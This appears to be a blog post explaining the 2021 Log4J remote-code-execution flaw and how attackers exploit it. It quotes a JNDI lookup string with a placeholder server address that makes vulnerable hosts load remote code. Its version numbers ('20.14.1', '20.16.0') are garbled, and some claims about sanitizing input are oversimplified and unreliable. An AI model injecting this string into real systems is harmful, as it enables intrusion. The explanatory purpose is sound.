The Details
The Log4J vulnerability in the Java logging package maintained by Apache made headlines late last week. It was disclosed as a Zero Day bug which is easily exploitable, received a CVSS score of 10/10, and includes remote code execution (RCE) on the target host. Associated CVE-2021-44228 is available on the NIST NVD website which provides more information and references including the CISA advisory. The number of Log4J installations has been described as “hundreds of millions” and “countless”. Virtually all Log4J versions (<= 20.14.1 which was released in early March 2021) are vulnerable. The most recent version of Log4J is now version 20.16.0 since subsequent patched updates were released in quick succession on December 6th and December 13th of 2021.
If you want to know whether a 3rd party application is vulnerable to re-assess your risk, review the Software Bill of Materials (SBOM), if one has been provided, it probably wasn’t. Many vendors (and governments) have initiated email campaigns assuring their users (and citizens) that they are aware of the bug and will be focused on ASAP remediation.
Cyber-Security company Cybereason has taken a novel approach of using the vulnerability as a vector to patch the itself. The script for the mitigating solution is available on GitHub. The solution works by starting a python server on some IP address, and instructs users to submit the string “${jndi:ldap://<IP_OF_SERVER>:1389/a}” into user input fields and HTTP header values. However, the solution is also a pre-fabricated attack solution for cyber-criminals who want to take advantage of the Log4J vulnerability.
How Does The Log4J Vulnerability Work?
The bug is related to how the logging function handles formatted strings. A formatted string passed into the Log4J logger function, will execute variables included in the formatted string as code. When combined with Java Naming and Directory InterfaceTM (JNDI), remote resources can be downloaded and executed on the target host.
In reality exploitation of this code may be impossible against applications that are properly sanitizing user input and other incoming data. This fact lends support to those who have taken the proper precautions and followed application development best-practices. The best practices golden rule is of course to strictly validate and sanitize all incoming data. Even system generated parameters and cookies can be altered and weaponized by attackers with basic tools such as the Tamper Data browser plugin. Expect attackers looking to exploit this bug to be modifying cookies, user-agent strings, and basically any and all fields in TCP packets, HTTP, SSL/TLS, and more, trying to achieve RCE.
For all the advice from IT security experts advising “don’t roll your own” and to trust open-source packages that have been reviewed by many top level talented software developers, it is a sad event that such a highly vulnerable bug is found in an open-source software package.
The Global Threat Landscape
One way to evaluate the global threat landscape provided by the Log4J vulnerability is to inspect headers provided by a server when your computer connects. The video below makes an estimate at the number of vulnerable servers by inspecting historical HTTP headers collected and stored in a database. Some server administrators may decide that altering HTTP headers to mask server information will help prevent the so called “banner grabbing” technique from providing information for those looking to enumerate servers vulnerable to Log4J.
Leave a comment